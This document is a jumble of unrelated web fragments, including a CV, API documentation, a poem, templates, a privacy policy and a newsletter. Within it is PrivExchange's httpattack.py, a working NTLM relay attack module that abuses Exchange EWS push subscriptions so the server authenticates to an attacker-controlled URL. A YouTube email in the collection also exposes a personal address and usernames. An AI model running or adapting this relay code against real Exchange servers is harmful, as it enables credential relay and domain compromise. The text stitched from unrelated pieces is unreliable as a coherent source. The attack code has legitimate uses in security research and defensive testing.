I am proficient with a number of tools and processes in Test-Driven Development, Behaviour-Driven Development, User–Centred Design and Evaluation, Project Management and so on.
Relevant Experience
Money Advice Service
Ruby Developer, June 2013 – January 2015
Worked on a number of Ruby on Rails Engines delivering Quiz, Budget Planning, Mortgage Calculation and Sign in and Account creation functionality.
Ricardo-AEA
Lead Drupal Developer, October 2012 – Janurary 2013
Worked with the project manager to provide technical analysis on a number of upcoming projects. As lead Drupal developer, I provided technical specifications to non-drupal developers. Moreover, I developed a site for the Environment Agency that allows them to produce ‘quality protocol compliance assessment forms’ to deliver compliance reports to end users.
Comic Relief
PHP Developer, June 2012 – September 2012
As part of the special projects team, I developed a back end system to process users’ donations and marketing preferences submitted on Comic Relief’s websites. I also implemented a behavior driven development (BDD) and testing suite, allowing the team to develop and test using user stories. Moreover, I advised the quality team, project manager and product owner on how to leverage the BDD methodology to produce higher quality user stories.
Dachis Group
PHP Developer, September 2011 – May 2012
Working with an exceptional team, I delivered two social business websites using Drupal 6, one for Red Bull and another for the African Forum for Agricultural Advisory Services (AFAS). On AFAS I was also the lead developer, scrum master and managed all business analysis, user stories and the product backlog.
I organised internal ‘presentation by example’ and ‘knowledge sharing’ events, and conducted research, business analysis and wrote a proposal for hosting community tech clinic sessions.
Catch Digital
PHP Developer, June 2011 – September 2011
For the charity, Scope, I helped develop a social drawing and story sharing website. Furthermore, I developed the system that allowed users to log in to either of Scope’s websites with the same username and password, keeping all of their data synchronised. I also developed the moderation portal, so that site moderators could ensure content was suitable for Scope’s audience.
Additionally, I trained the other developers in using Drupal’s collaborative development features which helped Catch with their larger, multi-developer projects.
The Internet Team Ltd
Business Owner, 2008 – 2010
For 2 years I ran a technical consultancy. Running my own business meant that I had to handle the full life cycle of a project, from business analysis and conception through to development and support. During this time I delivered an e-commerce site for AfterHours that integrated with their stock control systems. I also prototyped a system that imported their suppliers’ stock feeds, allowing the purchasing team to quickly find which supplier was selling items at the lowest price.
I provided systems administration services to a number of companies including Radar Music Videos and markanddan.com. My greatest achievement in this area was when I set-up and supported the servers that hosted a live chat with J.K. Rowling for the launch of one of her Harry Potter books, which had 70,000 visitors during the one-hour chat.
For Orange Frog Design, I provided technical consultation and developed a number of websites, including an e-commerce site for a children’s clothing company and a membership site for Clowns International. In addition, I produced the code (and sometimes the designs) for a number of email marketing campaigns for Orange Frog’s clients and provided the technology to manage lists, send the campaigns and view stats.
BMB Ltd
PHP Developer & Systems Administrator, November 2006 – May 2008
My role at BMB was threefold. As a PHP developer, I worked on a number of data gathering and marketing websites. I also wrote an events management system used by General Motors for a number of their b2b events.
In addition to this, I also performed as a development process leader. This involved selecting and deploying an issue tracking system, standardising deployment processes and introducing source code version control across the team. This greatly reduced errors, streamlined workflow and helped improve the working environment, helping the team create better products.
Finally, I was responsible for designing, implementing, supporting and selling a new high-availability hosting offering, which I successfully sold to their clients: General Motors, Big Yellow Storage and Toucansurf. The approach that the company used, that I championed, represented a significant organisational change for BMB.


Please read the instructions and the scenario carefully.
Instructions:
-
In each scenario, you will see a Google Street View panorama located in a German city.
-
Change the field of view by holding the left mouse button and dragging the curser on the
panorama to get
a complete look of your surroundings.
-
You can also zoom in and out using the mouse wheel while the curser is positioned over the
panorama.
-
The panorama includes POIs (buildings, monuments, shops, parks, etc.).
-
The aim is for you to ask questions about POIs. Just imagine you are a tourist in that city.
-
To create a new question, press the
addButtonPlaceholder-button below the panorama.
-
Your target is to pose at least THREE questions.
-
You can delete a question box including its question
using the
removeButtonPlaceholder-button.
- When posing a question, please make sure the current field of view is oriented
towards the
questions subject.
-
You can update the position information using the UpdateButtonPlaceholder-button
e.g. when changing the view towards your
questions subject AFTER you start writing text in the question box or when realigning it due
to a better
view.
Please only ask questions about surrounding POIs visible in the panorama.
Please don’t ask personal questions.
The following or similar questions will not be awarded:
- Where am I?
- How are you?
- What is your name?
- What time is it?
- Which city / country / state is it?
- Which way to ...?


Become part of our growing community
Excellent tuition should be available to everyone, wherever they're based. That's why we make it as easy as possible
for the brightest tutors to get working: all you need to do is create a profile, then we'll bring the parents to
you!


WITNESS LIST Administration Committee March 25, 1997-7:45A SB 898 On: Arneil, Rita (TX Legislative Council), Austin Registering, but not testifying: On: Davis, Jonathan (TX Legislative Council), Austin SB 1301 On: Crawford, Rick (State Pres. Board), Austin Elliston, Randy (Dept. of Public Safety), Austin SCR 8 For: Moore, Etta R. (Lone Star Girl Scout), Austin On: Crawford, Rick (State Pres. Board), Austin


Online Whiteboard
Name
Sign Out
add
Enter class code
Enter your full name
cancel
Join
launch
Start learning
edit
Edit your name
JOINED AS
Enter your full name
cancel
Update


Tealeaves.Util.LibTactics
(* Chapter maintained by Arthur Chargueraud *)
This file contains a set of tactics that extends the set of builtin
tactics provided with the standard distribution of Coq. It intends
to overcome a number of limitations of the standard set of tactics,
and thereby to help user to write shorter and more robust scripts.
Hopefully, Coq tactics will be improved as time goes by, and this
file should ultimately be useless. In the meanwhile, serious Coq
users will probably find it very useful.
The present file contains the implementation and the detailed
documentation of those tactics. The SF reader need not read this
file; instead, he/she is encouraged to read the chapter named
UseTactics.v, which is gentle introduction to the most useful
tactics from the LibTactic library.
The main features offered are:
External credits:
- More convenient syntax for naming hypotheses, with tactics for introduction and inversion that take as input only the name of hypotheses of type Prop, rather than the name of all variables.
- Tactics providing true support for manipulating N-ary conjunctions, disjunctions and existentials, hidding the fact that the underlying implementation is based on binary propositions.
- Convenient support for automation: tactics followed with the symbol "~" or "*" will call automation on the generated subgoals. The symbol "~" stands for auto and "*" for intuition eauto. These bindings can be customized.
- Forward-chaining tactics are provided to instantiate lemmas either with variable or hypotheses or a mix of both.
- A more powerful implementation of apply is provided (it is based on refine and thus behaves better with respect to conversion).
- An improved inversion tactic which substitutes equalities on variables generated by the standard inversion mecanism. Moreover, it supports the elimination of dependently-typed equalities (requires axiom K, which is a weak form of Proof Irrelevance).
- Tactics for saving time when writing proofs, with tactics to asserts hypotheses or sub-goals, and improved tactics for clearing, renaming, and sorting hypotheses.
- thanks to Xavier Leroy for providing the idea of tactic forward
- thanks to Georges Gonthier for the implementation trick in rapply
Set Implicit Arguments.
Require Import Coq.Lists.List.
Declare Scope ltac_scope.
(* 2021-05-25 14:19 *)


Toggle
Thank you for choosing the Awesome App!
We've worked super hard to make you happy.
But if you are angry, too bad.
Skip to last
Click Test
Using Awesome
Just three steps:
Be awesome
Stay awesome
There is no step 3
Right


Promdash - a lodash port in to the promise pattern
Lodash has become a fairly standard utility belt on a lot of JavaScript projects these days. It adds the functionality to JavaScript that you expect from »
Lodash has become a fairly standard utility belt on a lot of JavaScript projects these days. It adds the functionality to JavaScript that you expect from »
I found myself trying to explain how GPG (GnuPG) works and saw the enquisitive almost instantly glaze over at the mention of encryption and private/public »
Problem At MyMeds&Me our application allows specific users to download a huge amount of data to their computer. This can take a very long »
Templating in CoffeeScript is fun. There is already CoffeeKup which is fantastic. But unlike Jade, there's still no sign of template inheritance. I was first inspired »
It's been a while since I've needed a LAMP set-up on my machine. There's been some changes to apache lately which has caused difficulties in the »


Privacy Policy how we protect you
Last updated November 26, 2017
Acceptance of Policy
By using the www.HeliumEdu.com web site ("Service"), you are agreeing to the following policy ("Privacy Policy"), including any subsequent changes or modifications to them. If you do not agree to this Policy or to the Service's Terms of Service, do not access the Service.
General Information
The website of www.HeliumEdu.com collects information about visitors and members when the Service is researched or used. The Service collects the e-mail addresses of those who communicate with the Service via e-mail and information volunteered by the user. The information collected is used to improve the quality of the Service and is not shared with other entities (except to provide products or services at the user's request).
Cookies
A cookie is a small amount of data, which includes an anonymous unique identifier, which is sent from the Services website to the user's browser and stored on their computer's hard drive. Cookies are required to use the Service. Cookies will be used when a user signs in, to store a user's preferences, and to keep a user signed in for a period of time. Cookies used will expire after a period of time, and cookies used will be destroyed when the user manually logs out of the Service.
Information Collection and Sharing
Users will be asked to provide their email address when registering for the Service. Collected information may be used for the Service, identification and authentication, research, and to contact the user.
The Service will never sell, rent, or share personal information with third parties without the consent of the user. The Service does reserve the right to disclosure certain personal information if the Terms of Service have been violated, when required by law, or when disclosure is necessary to protect the rights of the Service.
Client Data
Third party services are used by the Service to provide the necessary hardware, software, networking, and storage that make up the Service.
The Service owns all rights to the code and databases that make up the Service. Data stored on the Service belongs to the user that authored it, and the user retains all rights to that data.
Disclosure
The Service may disclose personal information under special circumstances, such as to comply with subpoenas or if a user's actions violate the Terms of Service.


A connection to a remote AMQP peer. More...
#include <connection.hpp>
Public Member Functions | |
| connection () | |
| Create an empty connection. | |
| bool | uninitialized () const |
| True if the local end is uninitialized. | |
| bool | active () const |
| True if the local end is active. | |
| bool | closed () const |
| True if the local and remote ends are closed. | |
| class error_condition | error () const |
| Get the error condition of the remote endpoint. | |
| class container & | container () const |
| Get the container. More... | |
| class work_queue & | work_queue () const |
| Get the work_queue for the connection. | |
| class transport | transport () const |
| Get the transport for the connection. | |
| std::string | virtual_host () const |
| Return the remote AMQP hostname attribute for the connection. | |
| std::string | container_id () const |
| Return the remote container ID for the connection. | |
| std::string | user () const |
| Return authenticated user for the connection Note: The value returned is not stable until the on_transport_open event is received. | |
| void | open () |
| Open the connection. More... | |
| void | open (const connection_options &) |
| Open the connection. More... | |
| void | close () |
| Close the connection. More... | |
| void | close (const error_condition &) |
| Close the connection. More... | |
| session | open_session () |
| Open a new session. | |
| session | open_session (const session_options &) |
| Open a new session. More... | |
| session | default_session () |
| Get the default session. More... | |
| sender | open_sender (const std::string &addr) |
Open a sender for addr on default_session(). | |
| sender | open_sender (const std::string &addr, const sender_options &) |
Open a sender for addr on default_session(). More... | |
| receiver | open_receiver (const std::string &addr) |
Open a receiver for addr on default_session(). | |
| receiver | open_receiver (const std::string &addr, const receiver_options &) |
Open a receiver for addr on default_session(). More... | |
| class sender_options | sender_options () const |
| class receiver_options | receiver_options () const |
| session_range | sessions () const |
| Return all sessions on this connection. | |
| receiver_range | receivers () const |
| Return all receivers on this connection. | |
| sender_range | senders () const |
| Return all senders on this connection. | |
| uint32_t | max_frame_size () const |
| Get the maximum frame size allowed by the remote peer. More... | |
| uint16_t | max_sessions () const |
| Get the maximum number of open sessions allowed by the remote peer. More... | |
| std::vector< symbol > | offered_capabilities () const |
| Unsettled API - Extension capabilities offered by the remote peer. | |
| std::vector< symbol > | desired_capabilities () const |
| Unsettled API - Extension capabilities desired by the remote peer. | |
| std::map< symbol, value > | properties () const |
| Unsettled API - Connection properties | |
| uint32_t | idle_timeout () const |
| Get the idle timeout set by the remote peer. More... | |
| void | wake () const |
| Unsettled API - Trigger an event from another thread. More... | |
| bool | reconnected () const |
| Unsettled API - True if this connection has been automatically re-connected. More... | |
| void | update_options (const connection_options &) |
| Unsettled API - Update the connection options for this connection More... | |
A connection to a remote AMQP peer.
Get the container.
| proton::error | if this connection is not managed by a container |
| void open | ( | ) |
| void open | ( | const connection_options & | ) |
Open the connection.
|
virtual |
|
virtual |
| session open_session | ( | const session_options & | ) |
Open a new session.
| session default_session | ( | ) |
Get the default session.
A default session is created on the first call and reused for the lifetime of the connection.
| sender open_sender | ( | const std::string & | addr, |
| const sender_options & | |||
| ) |
Open a sender for addr
on default_session().
| receiver open_receiver | ( | const std::string & | addr, |
| const receiver_options & | |||
| ) |
Open a receiver for addr
on default_session().
| class sender_options sender_options | ( | ) | const |
| class receiver_options receiver_options | ( | ) | const |
| uint32_t max_frame_size | ( | ) | const |
Get the maximum frame size allowed by the remote peer.
| uint16_t max_sessions | ( | ) | const |
Get the maximum number of open sessions allowed by the remote peer.
| uint32_t idle_timeout | ( | ) | const |
Get the idle timeout set by the remote peer.
| void wake | ( | ) | const |
Unsettled API - Trigger an event from another thread.
This method can be called from any thread. The Proton library will call messaging_handler::on_connection_wake()
as soon as possible in the correct event-handling thread.
Thread-safety - This is the only proton::connection
function that can be called from outside the handler thread.
messaging_handler::on_connection_wake()
calls can occur even if the application does not call wake()
.wake()
may be coalesced into a single call to messaging_handler::on_connection_wake()
that occurs after all of them.The proton::work_queue
interface provides an easier way execute code safely in the event-handler thread.
| bool reconnected | ( | ) | const |
Unsettled API - True if this connection has been automatically re-connected.
| void update_options | ( | const connection_options & | ) |
Unsettled API - Update the connection options for this connection
This method can be used to update the connection options used with this connection. Usually the connection options are only used during the initial connection attempt so this ability is only useful when automatically reconnect is enabled and you wish to change the connection options before the next reconnect attempt. This would usually be in the handler for the on_transport_error
event
connection_options::update()
was used.


Default Star
bold,italic, ins, del, mark, cite, sub, sup, strong, em, small
for i in range(10): print i
Computer code


JSON to Schema Generator json2schema.html
by Engelbert Niehaus
These examples use the JSON Editor of Jeremy Dorn to create a JSON Schema. Furthermore Font-AweSome and the ACE-Editor are integrated in the examples for offline use of the JSON-Editor.
The very helpful examples provided by Jeremy Dorn must be altered, so that CSS layout and required libraries are available on the local device for offline application of the JSON Editor.
The current examples can be found in docs/-folder of the git repository json-editor (fork Jeremy Dorns JSON Editor>. The examples demonstrate the following:
- You can edit a raw JSON in the textarea and submit the JSON to json2schema.html. By creating a HTML form in your own web-site you can populate the JSON2Schema editor with a JSON of your choice remotely (see wiki page of JSON editor)
- json2schema.html example provides an example, how you can create a JSON schema from a given JSON file. A JSON Schema is needed to feed the JSON editor with the structure of the desired JSON output delivered by Jeremy Dorns JSON-Editor.


Same-sex couples able to have both names on child's birth cert under new regulations
by By Digital Desk staffSome same-sex couples will be able to have both names on their child's birth cert under new regulations to be signed into law today.
However, it will not cover the parents of children born through surrogacy.
The regulations which will be signed by the Health Minister today will introduce a ban on anonymous sperm donation and the creation of a register for those conceived by a donor.
It will allow same-sex parents the opportunity to have both names on the birth cert of their child for the first time.
However, the regulations of the Children and Family Relationships Act do not cover same-sex parents who have children through a surrogate.
In theory, a woman who donates eggs to the surrogate won't be the name on the child's birth cert despite having a biological connection.
The Health Minister Simon Harris admits that legislation still needs to evolve, following protests outside the Department a number of weeks ago.
The new regulations will come into effect in May 2020.


Welcome to Berean AG Management system
{{members}}
Current Members{{departments}}
No of Departmentschart by %
Males: {{males}}
Females: {{females}}
statistics
chart
10,368
/ 16220 items sold
chart by %
Male:{{males}}
Female:{{females}}
Copyright © 2020 . All rights reserved. By Emmanuel Antwi.


|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object org.apache.poi.hssf.record.formula.functions.MathX
public final class MathX
| Method Summary | |
|---|---|
static double |
acosh(double d)
inverse hyperbolic cosine |
static double |
asinh(double d)
inverse hyperbolic sine |
static double |
atanh(double d)
inverse hyperbolic tangent |
static double |
average(double[] values)
average of all values |
static double |
ceiling(double n,
double s)
Note: this function is different from java.lang.Math.ceil(..). |
static double |
cosh(double d)
hyperbolic cosine |
static double |
factorial(int n)
for all n >= 1; factorial n = n * (n-1) * (n-2) * ... |
static double |
floor(double n,
double s)
Note: this function is different from java.lang.Math.floor(..). |
static double |
max(double[] values)
min of all values. |
static double |
min(double[] values)
min of all values. |
static double |
mod(double n,
double d)
returns the remainder resulting from operation: n / d. |
static double |
nChooseK(int n,
int k)
returns the total number of combinations possible when k items are chosen out of total of n items. |
static double |
product(double[] values)
product of all values |
static double |
round(double n,
int p)
Returns a value rounded to p digits after decimal. |
static double |
roundDown(double n,
int p)
Returns a value rounded to p digits after decimal. |
static double |
roundUp(double n,
int p)
Returns a value rounded-up to p digits after decimal. |
static short |
sign(double d)
If d < 0, returns short -1 If d > 0, returns short 1 If d == 0, returns short 0 |
static double |
sinh(double d)
hyperbolic sine |
static double |
sum(double[] values)
sum of all values |
static double |
sumproduct(double[][] arrays)
returns the sum of product of corresponding double value in each subarray. |
static double |
sumsq(double[] values)
sum of squares of all values |
static double |
sumx2my2(double[] xarr,
double[] yarr)
returns the sum of difference of squares of corresponding double value in each subarray: ie. |
static double |
sumx2py2(double[] xarr,
double[] yarr)
returns the sum of sum of squares of corresponding double value in each subarray: ie. |
static double |
sumxmy2(double[] xarr,
double[] yarr)
returns the sum of squares of difference of corresponding double value in each subarray: ie. |
static double |
tanh(double d)
hyperbolic tangent |
| Methods inherited from class java.lang.Object |
|---|
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Method Detail |
|---|
public static double round(double n, int p)
If n is negative, the resulting value is obtained as the round value of absolute value of n multiplied by the sign value of n (@see MathX.sign(double d)). Thus, -0.6666666 rounded to p=0 will give -1 not 0.
If n is NaN, returned value is NaN.
n
- p
-
public static double roundUp(double n, int p)
If n is negative, the resulting value is obtained as the round-up value of absolute value of n multiplied by the sign value of n (@see MathX.sign(double d)). Thus, -0.2 rounded-up to p=0 will give -1 not 0.
If n is NaN, returned value is NaN.
n
- p
-
public static double roundDown(double n, int p)
If n is negative, the resulting value is obtained as the round-up value of absolute value of n multiplied by the sign value of n (@see MathX.sign(double d)). Thus, -0.8 rounded-down to p=0 will give 0 not -1.
If n is NaN, returned value is NaN.
n
- p
-
public static short sign(double d)
If d is NaN, then 1 will be returned. It is the responsibility of caller to check for d isNaN if some other value is desired.
d
-
public static double average(double[] values)
values
-
public static double sum(double[] values)
values
-
public static double sumsq(double[] values)
values
-
public static double product(double[] values)
values
-
public static double min(double[] values)
values
-
public static double max(double[] values)
values
-
public static double floor(double n, double s)
When n and s are "valid" arguments, the returned value is: Math.floor(n/s) * s;
n and s are invalid if any of following conditions are true:
n
- s
-
public static double ceiling(double n, double s)
When n and s are "valid" arguments, the returned value is: Math.ceiling(n/s) * s;
n and s are invalid if any of following conditions are true:
n
- s
-
public static double factorial(int n)
n
-
public static double mod(double n, double d)
n
- d
-
public static double acosh(double d)
d
-
public static double asinh(double d)
d
-
public static double atanh(double d)
d
-
public static double cosh(double d)
d
-
public static double sinh(double d)
d
-
public static double tanh(double d)
d
-
public static double sumproduct(double[][] arrays)
arrays
-
public static double sumx2my2(double[] xarr, double[] yarr)
arrays
-
public static double sumx2py2(double[] xarr, double[] yarr)
arrays
-
public static double sumxmy2(double[] xarr, double[] yarr)
arrays
-
public static double nChooseK(int n, int k)
n
- k
-
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


{% extends "base.html" %} {% load display_helpers %} {% block content %}
The opening schedule that covers this date is filled.
{% else %}The opening schedule that covers this date is not filled. Fill this opening schedule
{% endif %} {% if instance.openingexception %}This visit is not required due to an exception.
{% if user.is_staff %} Need a visit on this day? {% endif %} {% else %} {% if instance.is_filled and not instance.commitmentexception %}This opening date is filled. View the commitment
{% else %}This opening date is unfilled. Fill this opening date
{% endif %} {% if user.is_staff %} Don't need a visit on this day? {% endif %} {% endif %}


Hi salas.mj@gmail.com,The following YouTube usernames are attached to this email address: chuchosalas, tatianatatata We hope this helps. See you back on YouTube! — The YouTube Team |
Using YouTubeYouTube Help Check the Help Center for answers to common questions. Your Account Settings To change your preferences, settings, or personal info, go to the 'My Account' section. Email Notifications To change or cancel email notifications from YouTube, go to the Email Options section of your Profile. |
Copyright © 2007 YouTube, Inc.


--- layout: post title: you and him and me date: '2013-01-30T20:15:00-05:00' tags: [] tumblr_url: http://poetry.liabogoev.com/post/54968778086/you-and-him-and-me ---
you and him and me and you
a poem in three parts
it started
we smoked that one cigarette
each puffing
letting the dizziness sink in
taking us to our own little world
apart
drifting
even as I stood in the circle of your arms
I thought of him.
the way he used to hold me
the way he made love to me.
.
I thought I was over him
at least I wanted to be
but now I’m having second thoughts.
or thirds.
or fourths.
.
I wish I could block my emotions
the way I block my thoughts
pushing them out with sound waves
well
maybe not out
maybe just further in
.
but you,
you need to be extracted
like a thorn
from my heart
.
* * *
.
extraction:
.
at first all I wanted
was to cut you out of my life
like gangrene on a rotting limb
our relationship rotted
despite how it looked
like one of those beautiful flowers
that smells of death
.
and I did.
it was easy.
.
incision:
.
then, all I wanted
was to cut you, deep
to hurt you, the way you hurt me
or at least the way I thought you had
all you did was love too much
care too much
fall too deep
like the kindhearted person you are
you tried too hard
.
and I did.
it was not so easy.
.
amerlioration:
.
now, all I want,
is to extract your memories from my head
your stake in my heart
as painlessly as I can
but it hurts too much
and even as I look at him
I think of you
blasphemy, I know
and that it should happen now
but wounds so deep
take long to heal.
* * *
One day, I’ll be over you
I think.
I hope.
I used to think the pain would go away
but now I’m not so sure.
But it will.
It has to.
It has.


ABOUT MUSE
Our vision is to create a research community that encourages diverse perspectives and collaborates toward a sustainable future. Our mission is to connect and collaborate on human-environment research at the University of Michigan.
MUSE is here to serve anyone and everyone interested in sustainability and the environment at U-M. To learn more about MUSE, visit our website
|
|
Rethinking the role of personal behavior on global environmental change
Jennifer Carman, Environment and Sustainability
Thursday, July 18, 5-7pm (Dana 1006)
What is sustainability?
Scott Campbell, Urban Planning
Thursday, July 25, 4-6 pm (Dana 1006)
On-the-ground decision-making in the face of climate change
Richard Norton, Urban Planning
Thursday, August 8, 4-6 pm (Dana 1006)
Skills workshop: Socially engaged design
Center for Socially Engaged Design (CSED)
Thursday, August 15, 4-6 pm (Dana 1006)
Dealing with the scope of the climate crisis
Missy Stults, City of Ann Arbor
Thursday, August 22, 3-5 pm (Dana 1006)
|
|
2019 Conference Highlights
The 2019 conference was organized around nine overarching themes: environmental communication; urban systems; business & sustainability; food systems; policy, politics & governance; materials & waste; public impact; health; and energy.
The conference drew attendance from 148 students, post-docs, and faculty. Attendees were from 35 departments, spanning 16 schools and institutes within UM. We received positive feedback from the attendees and speakers alike, especially in terms of networking and learning about new and relevant projects.
We'd like to give a huge thanks to all of our sponsors and supporters, particularly SEAS, CoE, CLASP, and The Erb Institute - without you this would not have been possible. See you at the 2020 Conference next year (February 20-21 -- save the date)!
|
|
|
If there was one topic you want to see at next year’s conference, what would it be?
|
|
Writing Retreat
This May, we hosted our annual writing retreat at the Edwin S. George Reserve. At the retreat, MUSE members reviewed and shared feedback on each others’ manuscripts over two days. The reserve’s peaceful atmosphere provided time and space for constructive discussion, intensive writing, and deep, collegial relationships among the participants.
|
|
|
|
Announcing the 2019-2020 MUSE Leadership Team
Conference Chair:
Katie Hummel (English Language and Literature)
Workshop Co-Coordinators:
Tim Williams (Industrial and Operations Engineering)
Nathalie Lambrecht (Nutritional Sciences)
Michael Lerner (Political Science & Public Policy)
Conference Committee:
Stefania Almazán-Casali (Environment and Sustainability)
Calli VanderWilde (Environment and Sustainability)
Surabhi Balachander (English Language and Literature)
Lixi Liu (Mechanical Engineering & Environment and Sustainability)
Yongxian Zhu (Mechanical Engineering)
Matthew Vedrin (Civil and Environmental Engineering)
Amelia Burke (Anthropology & History)
Zak Gersten (Nutritional Sciences)
Tessa Swanson (Industrial and Operations Engineering)
Valerie Washington (Industrial and Operations Engineering)
At large:
Jennifer Carman (Environment and Sustainability)
Anna White (Industrial and Operations Engineering)
Thank you again to the outgoing conference committee. We wish you the best of success, hope you stay in touch, and encourage you to join the alumni network.
If you'd like to join MUSE's leadership team in any capacity, feel free to reach out to any one of us.
|
|
|
MUSE Faculty Ambassadors
Our newly-appointed faculty ambassadors support and advocate for MUSE within their departments.
Sue Ann Bell (Nursing)
Seth Guikema (Industrial and Operations Engineering)
Lesli Hoey (Architecture and Urban Planning)
Andrew Jones (Nutritional Sciences)
Josh Newell (Environment and Sustainability)
Scotti Parrish (English Language and Literature)
Barry Rabe (Public Policy)
Perry Samson (Climate and Space Sciences and Engineering)
Adam Simson (Earth and Environmental Sciences)
Joe Trumpey (Art and Design)
Margaret Wooldridge (Mechanical Engineering)
|
|
|
Graduating MUSErs
Congratulations to Tom Logan for successfully defending his PhD dissertation. He is moving to the University of Canterbury in New Zealand, where he has a faculty position in the Department of Civil and Natural Resources Engineering. Tom's proactive leadership has been an invaluable asset to MUSE over the past three years. He encourages us all to visit him in NZ!
|
|
|
|
Updated Website
Check out the updated website here for further information about MUSE.
|
|
|
|


{% extends 'base.html' %} {% from 'launch_button.html' import launch_button %} {% block container %}
In this project, you will play Minecraft with another human. You will be assigned either the role of MANAGER or ASSISTANT.
If you are assigned the role of Manager, you are asked to press "t" to use the in-game chat to direct the other player. You may ask the other player to do anything you'd like.
If you are assigned the role of Assistant, please do only what the other player instructs you to do! You are free to press "t" to use the in-game chat to respond or ask questions. Please try to follow the instructions exactly!


The Metamorphosis of Gregor Samson
Chapter 1
Chapter 2
Chapter 3
Debug Room
"The following morning"
It then hit her, she heard the cries of her brother.
If this truly her brother...
Then her care has been holding her back.


####################
#https://raw.githubusercontent.com/dirkjanm/PrivExchange/master/httpattack.py
#
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# HTTP Attack Class
#
# Authors:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
#
# Description:
# HTTP protocol relay attack
#
# ToDo:
#
####################
import xml.etree.ElementTree as ET
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
from impacket import LOG
# SOAP request for EWS
# Source: https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/subscribe-operation
# Credits: https://www.thezdi.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange
POST_BODY = '''<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body >
<m:Subscribe>
<m:PushSubscriptionRequest SubscribeToAllFolders="true">
<t:EventTypes>
<t:EventType>NewMailEvent</t:EventType>
<t:EventType>ModifiedEvent</t:EventType>
<t:EventType>MovedEvent</t:EventType>
</t:EventTypes>
<t:StatusFrequency>1</t:StatusFrequency>
<t:URL>%s</t:URL>
</m:PushSubscriptionRequest>
</m:Subscribe>
</soap:Body>
</soap:Envelope>
'''
PROTOCOL_ATTACK_CLASS = "HTTPAttack"
class HTTPAttack(ProtocolAttack):
"""
This is a modified HTTPAttack which triggers authentication from EWS
"""
PLUGIN_NAMES = ["HTTP", "HTTPS"]
def run(self):
ews_url = "/EWS/Exchange.asmx"
headers = {"Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/<IP_ADDRESS>","Translate": "F"}
# Replace with your attacker url!
attacker_url = 'http://dev.testsegment.local/myattackerurl/'
self.client.request("POST", ews_url, POST_BODY % attacker_url, headers)
res = self.client.getresponse()
LOG.debug('HTTP status: %d', res.status)
body = res.read()
LOG.debug('Body returned: %s', body)
if res.status == 200:
LOG.info('Exchange returned HTTP status 200 - authentication was OK')
# Parse XML with ElementTree
root = ET.fromstring(body)
code = None
for response in root.iter('{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseCode'):
code = response.text
if not code:
LOG.error('Could not find response code element in body: %s', body)
return
if code == 'NoError':
LOG.info('API call was successful')
elif code == 'ErrorMissingEmailAddress':
LOG.error('The user you authenticated with does not have a mailbox associated. Try a different user.')
else:
LOG.error('Unknown error %s', code)
for errmsg in root.iter('{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseMessages'):
LOG.error('Server returned: %s', errmsg.text)
elif res.status == 401:
LOG.error('Server returned HTTP status 401 - authentication failed')
else:
LOG.error('Server returned HTTP %d: %s', res.status, body)


Company Introduction
Company Introduction
Home > Introduction > IntroductionWonsin M&R Co., Ltd. was founded on June 1, 1984, and imported bearing heaters from Germany and Japan for about two years. In 1986, bearing heaters were first localized and sold in Korea.
It has also been exported to China and Taiwan, and is also being supplied to sites in Korea and other countries, such as Southeast Asia, the Middle East, China, and South America, as well as plant export sites.
So far, direct or indirect supply is as follows.
POSCO, Korea Electric Power Corporation, Samsung Electronics, Hyundai Motor, Hyundai Wia, LG Electronics, SK Hynix, Hyundai Heavy Industries, Samsung Heavy Industries, Doosan Heavy Industries, Samsung Corning, Samsung Aviation, Hyundai Precision, SKC, SKM, OCI, DuPont, Ssangyong Pharmacy, Hansol Patek, LG Chem, LS Cable, Kia Motors, GM Daewoo, Daewoo Electronics, Navy Air Force, Halla Heavy Industries, Halla Precision, Korea Glass, Hanwha , INI Steel, Dongkuk Steel, Saehan Media, Kumho Tire, Korean Air, Asiana Airlines, Hankook Tire, Korea Water Resources Corporation, Railroad Authority, Subway Corporation (Seoul, Busan, Daegu, Daejeon), Urban Railroad Corporation, cj, Hyundai Mobis, Hyundai Mipo Dockyard, Daesang, Yuhan Corporation, Yuhan Kimberly, Obi Beer Co., Daenong, Daehan Oil Pipeline Corporation, Nongshim, Poongsan, Green Cross, Daehan Paper, Torayamk, Sungshin RST, Shinjin SM Co., Ltd. , Sumitomo SHI Cyclo Drive Korea etc.
- Address : B10, 126, Banghwadong-ro, Gangseo-gu, Seoul, 07604, KOREA
- Postal code: 07604
- Phone number: +82-2-2671-1145
- Fax number: +82-2-2671-1146
- Cell phone: +82-10-4373-2545
- E-mail : bearingheater@hanmail.net


